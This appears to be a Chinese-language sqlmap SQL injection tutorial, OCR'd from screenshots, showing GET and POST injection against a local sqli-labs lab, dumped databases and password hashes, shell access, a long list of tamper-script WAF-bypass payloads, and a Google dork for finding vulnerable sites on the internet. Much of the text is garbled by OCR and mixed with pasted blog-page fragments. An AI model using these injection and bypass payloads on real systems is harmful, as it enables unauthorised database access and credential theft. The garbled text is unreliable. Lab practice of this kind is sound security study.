# GET型注入

```
「root kali)-[~]

# sqlmap -u "http://192.168.1.9/sqli-labs-master/Less-1/?id=1" --dbs 1 0

## Union in the property of the p
```

```
[22:21:23] [INFO] fetching database names
available databases [8]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] sys
[*] upload-labs
```







# POST注入

# 我们先抓取数据包

```
FOST /sqli-labs-master/Less-1/ HTTP/1.1
Host: 192.168.1.9
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.9
Content-Type: application/x=max-form-urlencoded
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.9
Content-Type: application/x=max-form-urlencoded
Upger-Agent: Morilla/5.0 (Windows NT 10.0; Nin64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.9/sqli-labs-master/Less-11/
Accept-Encoding: grip, deflate
Accept-Encoding: grip, deflate
Accept-Language: sh-CN, sh/q=0.9
Connection: close
uname=admin*Spasswd=edfgs&submit=Submit

TEXTITUTE: The first of the
```

# 接着保存为txt并上传到kali

```
2 × 3 Ø
             r 1.txt
                             {1.5.10#stable}
                             https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It i
s the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[23:11:33] [INFO] fetching database names available databases [8]:
[*] challenges
    dvwa
    information_schema
    mysql
    performance_schema
    security
    SVS
    upload-labs
     sqlmap -r <u>1.txt</u> --current-db
                                                                                                             2 * 3 @
                             {1.5.10#stable}
                             https://sqlmap.org
current database: 'security' 这就是当前位
     sqlmap -r 1.txt -D "security" —dump —level=3
                            {1.5.10#stable}
                             https://sqlmap.org
其余的操作和GET注入方式一样
```

## 获取shell权限

```
{1.5.10#stable}
                           https://sqlmap.org
abase management system users
'mysql.session'@'localhost
'mysql.sys'@'localhost'
'root'@'localhost'
sqlmap -r 1.txt
                           {1.5.10#stable}获取shell权限
                           https://sqlmap.org
sqlmap
            1.txt
                           {1.5.10#stable}
```

# 智能选择

```
1.txt
```

https://sqlmap.org

# 绕过WAF

```
database management system users password hashes:

[*] admin [1]:
    password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9
    clear-text password: 123456

[*] mysql.session [1]:
    password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE 我们可以看到
    password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE 也的账号和密

[*] password hash: *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE 也的账号和密
    root [1]:
    password hash: *6654837EB74329105EE4568DDA7DC67ED2CA2AD9 码
```

# 如何查看他的python脚本

```
「root © kali)-[~]
cd /usr/share/sqlmap/ 切换到目录下
```

```
(root@ kali)-[/usr/share/sqlmap]
# cd tamper 
然后我们查看这个文件
```

```
)-[/usr/share/sqlmap/tamper]
           0
                                          equaltolike.py
@eunion.py
apostrophemask.py
                                          equaltorlike.py
apostrophenullencode.py
appendnullbyte.py
                                          escapequotes.py
                                          greatest.py
halfversionedmorekeywords.py
base64encode.py
                                          hex2char.py
between.py
binary.py
bluecoat.py
chardoubleencode.py
                                          htmlencode.py
ifnull2casewhenisnull.py
                                          ifnull2ifisnull.py
charencode.py
charunicodeencode.py
                                          informationschemacomment.py
                                          __init__.py
least.py
lowercase.py
charunicodeescape.py
commalesslimit.py
commalessmid.py commentbeforeparentheses.py
                                          luanginx.py
                                         misunion.py
modsecurityversioned.py
modsecurityzeroversioned.py
concat2concatws.py
dunion.py
```

multiplespaces.py
overlongutf8more.py
overlongutf8.py
percentage.py
plus2concat.py
plus2fnconcat.py
\_\_pycache\_\_
randomcase.py
randomcomments.py
schemasplit.py
sleep2getlock.py
space2comment.py
space2dash.py
space2hash.py

space2morecomment.py

space2morehash.py

space2mssqlblank.py

# 常用的脚本解释



sqlmap的使用 ---- 自带绕过脚本

# sqlmap的使用 ---- 自带绕过脚本 tamper 🙉

2018-09-15 20:23:39

( 21点赞





sqlmap在默认的的情况下除了使用char()函数防止出现单引号,没有对注入的数据进行修改,还可以使用-tamper参数对数据做修改来绕过waf等设备。

# 0x01 命令如下

```
1 sqlmap -u [url] --tamper [模块名]
```

sqlmap的绕过脚本在目录

usr/share/golismero/tools/sqlmap/tamper下目前sqlmap 1.2.9版本共有37个

```
i:/usr/share/golismero/tools/sqlmap/tamper# ls
apostrophemask.py
                              percentage.py
apostrophenullencode.py
appendnullbyte.py
                              randomcase.py
randomcomments.py
                              securesphere.py
between.py
bluecoat.py
chardoubleencode.py
                              space2comment.py
                              space2dash.py
                              space2hash.py
charencode.py
charunicodeencode.py
                              space2morehash.py
space2mssqlblank.py
                             space2mssqlhash.py
space2mysqlblank.py
space2mysqldash.py
concat2concatws.py
equaltolike.py
```

可以使用 --identify-waf 对一些网站是否有安全 防护进行试探

# 0x02 常用tamper脚本

# apostrophemask.py

适用数据库: ALL

作用:将引号替换为utf-8,用于过滤单引号

使用脚本前: tamper("1 AND '1'='1")

使用脚本后: 1 AND

%EF%BC%871%EF%BC%87=%EF%BC%871

#### base64encode.py

适用数据库: ALL

.----

适用数据库: ALL

作用:替换为base64编码

使用脚本前: tamper("1' AND SLEEP(5)#") 使用脚本后: MScgQU5EIFNMRUVQKDUpIw==

# multiplespaces.py

适用数据库: ALL

作用: 围绕sql关键字添加多个空格

使用脚本前: tamper('1 UNION SELECT

foobar')

使用脚本后: 1 UNION SELECT foobar

#### space2plus.py

适用数据库: ALL

作用: 用加号替换空格

使用脚本前: tamper('SELECT id FROM users')

使用脚本后: SELECT+id+FROM+users

# nonrecursivereplacement.py

适用数据库: ALL

作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如

将select替换为空)

使用脚本前: tamper('1 UNION SELECT 2--') 使用脚本后: 1 UNIOUNIONN SELESELECTCT 2--

# space2randomblank.py

适用数据库: ALL

作用: 将空格替换为其他有效字符

使用脚本前: tamper('SELECT id FROM users')

使用脚本后: SELECT%ODid%ODFROM%OAusers

#### unionalltounion.py

适用数据库: ALL

作用:将 union allselect 替换为 unionselect 使用脚本前: tamper('-1 UNION ALL SELECT')

使用脚本后: -1 UNION SELECT

#### securesphere.py

适用数据库: ALL

作用: 追加特定的字符串

适用数据库: ALL

作用: 追加特定的字符串

使用脚本前: tamper('1 AND 1=1')

使用脚本后: 1 AND 1=1 and

'Ohaving'='Ohaving'

## space2dash.py

适用数据库: ALL

作用:将空格替换为 --,并添加一个随机字符串

和换行符

使用脚本前: tamper('1 AND 9227=9227')

使用脚本后: 1--nVNaVoPYeva%0AAND--

ngNvzqu%0A9227=9227

# space2mssqlblank.py

适用数据库: Microsoft SQL Server

测试通过数据库: Microsoft SQL Server 2000、

Microsoft SQL Server 2005

作用:将空格随机替换为其他空格符号('%01',

'%02', '%03', '%04', '%05', '%06', '%07',

'%08', '%09', '%0B', '%0C', '%0D', '%0E',

'%0F', '%0A')

使用脚本前: tamper('SELECT id FROM users')

使用脚本后: SELECT%0Eid%0DFROM%07users

#### between.py

测试通过数据库: Microsoft SQL Server 2005、

MySQL 4, 5.0 and 5.5. Oracle 10g. PostgreSQL

8.3, 8.4, 9.0

作用:用 NOT BETWEEN 0 AND #替换 >

使用脚本前: tamper('1 AND A > B--')

使用脚本后: 1 AND A NOT BETWEEN 0 AND B--

#### percentage.py

适用数据库: ASP

测试通过数据库: Microsoft SQL Server 2000,

2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0

作用: 在每个字符前添加一个%

使用脚本前: tamper('SELECT FIELD FROM

TABLE')

使用脚本后: %S%E%L%E%C%T %F%I%E%L%D

%F%R%O%M %T%A%B%L%E

#### %F%R%O%M %T%A%B%L%E

#### sp\_password.py

适用数据库: MSSQL

作用:从T-SQL日志的自动迷糊处理的有效载荷中

追加sp\_password

使用脚本前: tamper('1 AND 9227=9227-- ') 使用脚本后: 1 AND 9227=9227-- sp\_password

# charencode.py

测试通过数据库: Microsoft SQL Server 2005、 MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用:对给定的payload全部字符使用url编码(不

处理已经编码的字符)

使用脚本前: tamper('SELECT FIELD

FROM%20TABLE')

使用脚本后:

%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46

%52%4F%4D%20%54%41%42%4C%45

## randomcase.py

测试通过数据库: Microsoft SQL Server 2005、 MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用: 随机大小写

使用脚本前: tamper('INSERT')

使用脚本后: INseRt

## charunicodeencode.py

适用数据库: ASP、ASP.NET

测试通过数据库: Microsoft SQL Server

2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3

作用: 适用字符串的unicode编码

使用脚本前: tamper('SELECT FIELD%20FROM

TABLE')

使用脚本后:

%u0053%u0045%u004C%u0045%u0043%u0054%u0020 %u0046%u0049%u0045%u004C%u0044%u0020%u0046 %u0052%u004F%u004D%u0020%u0054%u0041%u0042

%u004C%u0045

#### space2comment.py

# space2comment.py

测试通过数据库: Microsoft SQL Server 2005、 MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL

8.3, 8.4, 9.0

作用: 将空格替换为 /\*\*/

使用脚本前: tamper('SELECT id FROM users') 使用脚本后: SELECT/\*\*/id/\*\*/FROM/\*\*/users

## equaltolike.py

测试通过数据库: Microsoft SQL Server 2005、

MySQL 4, 5.0 and 5.5 作用: 将 = 替换为 LIKE

使用脚本前: tamper('SELECT \* FROM users

WHERE id=1')

使用脚本后: SELECT \* FROM users WHERE id

LIKE 1

#### equaltolike.py

测试通过数据库: MySQL 4, 5.0 and 5.5、Oracle

10g、PostgreSQL 8.3, 8.4, 9.0

作用:将 >替换为GREATEST,绕过对 >的过滤

使用脚本前: tamper('1 AND A > B') 使用脚本后: 1 AND GREATEST(A,B+1)=A

#### ifnull2ifisnull.py

适用数据库: MySQL、SQLite (possibly)、SAP

MaxDB (possibly)

测试通过数据库: MySQL 5.0 and 5.5 作用: 将类似于 IFNULL(A, B) 替换为

IF(ISNULL(A), B, A), 绕过对 IFNULL 的过滤

使用脚本前: tamper('IFNULL(1, 2)')

使用脚本后: IF(ISNULL(1),2,1)

#### modsecurityversioned.py

适用数据库: MySQL

测试通过数据库: MySQL 5.0

作用: 过滤空格, 使用mysql内联注释的方式进行

注入

使用脚本前: tamper('1 AND 2>1--') 使用脚本后: 1 /\*!30874AND 2>1\*/--

## snace2mvsdlhlank nv

使用脚本后: 1 /\*!30874AND 2>1\*/--

## space2mysqlblank.py

适用数据库: MySQL

测试通过数据库: MySQL 5.1

作用: 将空格替换为其他空格符号('%09',

'%OA', '%OC', '%OD', '%OB')

使用脚本前: tamper('SELECT id FROM users')

使用脚本后: SELECT%OBid%ODFROM%OCusers

#### modsecurityzeroversioned.py

适用数据库: MySQL

测试通过数据库: MySQL 5.0

作用: 使用内联注释方式 (/\*!00000\*/) 进行注

入

使用脚本前: tamper('1 AND 2>1--') 使用脚本后: 1 /\*!00000AND 2>1\*/--

#### space2mysqldash.py

适用数据库: MySQL、MSSQL

作用: 将空格替换为 -- , 并追随一个换行符使用脚本前: tamper('1 AND 9227=9227') 使用脚本后: 1--%0AAND--%0A9227=9227

#### bluecoat.py

适用数据库: Blue Coat SGOS

测试通过数据库: MySQL 5.1,、SGOS

作用: 在sql语句之后用有效的随机空白字符替换空

格符, 随后用 LIKE 替换=

使用脚本前: tamper('SELECT id FROM users

where id = 1')

使用脚本后: SELECT%09id FROM users where

id LIKE 1

#### versionedkeywords.py

适用数据库: MySQL

测试通过数据库: MySQL 4.0.18, 5.1.56, 5.5.11

作用: 注释绕过

使用脚本前: tamper('1 UNION ALL SELECT

NULL, NULL,

CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST

(CURRENT\_USER() AS

CHAR).CHAR(32)).CHAR(58.100.114.117.58))#'

(CURRENT\_USER() AS
CHAR), CHAR(32)), CHAR(58,100,114,117,58))#'
)
使用脚本后:
1/\*!UNION\*//\*!ALL\*//\*!SELECT\*//\*!NULL\*/,/\*
!NULL\*/,
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST
(CURRENT\_USER()/\*!AS\*//\*!CHAR\*/),CHAR(32))
,CHAR(58,100,114,117,58))#

#### halfversionedmorekeywords.py

适用数据库: MySQL < 5.1

测试通过数据库: MySQL 4.0.18/5.0.22 作用: 在每个关键字前添加mysql版本注释 使用脚本前: tamper("value" UNION ALL

**SELECT** 

CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST

(CURRENT\_USER() AS

CHAR), CHAR(32)), CHAR(58, 97, 110, 121, 58)),

NULL, NULL# AND 'QDWa'='QDWa")

使用脚本后:

value'/\*!OUNION/\*!OALL/\*!OSELECT/\*!OCONCAT
(/\*!OCHAR(58,107,112,113,58),/\*!OIFNULL(CA
ST(/\*!OCURRENT\_USER()/\*!OAS/\*!OCHAR),/\*!OC
HAR(32)),/\*!OCHAR(58,97,110,121,58)),/\*!ON
ULL,/\*!ONULL#/\*!OAND 'QDWa'='QDWa

#### space2morehash.py

适用数据库: MySQL >= 5.1.13 测试通过数据库: MySQL 5.1.41

作用: 将空格替换为#, 并添加一个随机字符串和

换行符

使用脚本前: tamper('1 AND 9227=9227')

使用脚本后:

1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYF Wfv%0A9227=9227

## apostrophenullencode.py

适用数据库: ALL

作用:用非法双字节Unicode字符替换单引号

使用脚本前: tamper("1 AND '1'='1")

使用脚本后: 1 AND %00%271%00%27=%00%271

区用加州中的. Lamper ( I AND I - I )

使用脚本后: 1 AND %00%271%00%27=%00%271

#### appendnullbyte.py

适用数据库: ALL

作用:在有效载荷的结束位置加载null字节字符编

码

使用脚本前: tamper('1 AND 1=1')

使用脚本后: 1 AND 1=1%00

## chardoubleencode.py

适用数据库: ALL

作用:对给定的payload全部字符使用双重url编码

(不处理已经编码的字符)

使用脚本前: tamper('SELECT FIELD

FROM%20TABLE')

使用脚本后:

%2553%2545%254C%2545%2543%2554%2520%2546%2

549%2545%254C%2544%2520%2546%2552%254F%254

D%2520%2554%2541%2542%254C%2545

# unmagicquotes.py

适用数据库: ALL

作用: 用一个多字节组合 %bf%27 和末尾通用注释

一起替换空格

使用脚本前: tamper("1' AND 1=1")

使用脚本后: 1%bf%27 AND 1=1--

## randomcomments.py

适用数据库: ALL

作用:用注释符分割sql关键字

使用脚本前: tamper('INSERT')

使用脚本后: I/\*\*/N/\*\*/SERT

在熟悉了tamper脚本之后,我们应该学习tamper 绕过脚本的编写规则,来应对复杂的实际环境。

打开CSDN, 阅读体验更佳

#### SQLmap自带tamper脚本详解

目录 一、SQLmap tamper脚本介绍 一、SQLmap... 浏览器打开

sqlmap的一些脚本的使用,绕过滤的神器

```
日来一、SQLmap tamper脚本介绍一、SQLmap... 浏见奋打开
 sqlmap的一些脚本的使用,绕过滤的神器
 sql注入神奇,搭配各种<mark>脚本</mark>,花式绕过滤,懂的人自然懂,哈...
 评论(1)
                                    ∅写评论
  🍇 う 白帽子续命指南 🔏 码龄3年
      很详细的,请问可以转载吗,自己留着看 1年
延迟注入
                    tamper space2mysqlblank.py
                        {1.5.10#stable}
                        https://sqlmap.org
自动注入
                                                                     但是他不是交互试的
   root⊙ kali)-[~]
sqlmap -r <u>1.txt</u>
                  --batch --smart -a
                        https://sqlmap.org
获取数据库的shell
                        {1.5.10#stable}
                        https://sqlmap.org
[16:39:16] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER sql-shell>
sql-shell>
sql-shell>
sql-shell>
查找有SQL注入的网址
    sqlmap -g "inurl:asp?id=1"
                                                                                        148
                        (1.5.10#stable)
```

# 语法:

inurl:asp?id=1

inurl:php?id=1

https://sqlmap.org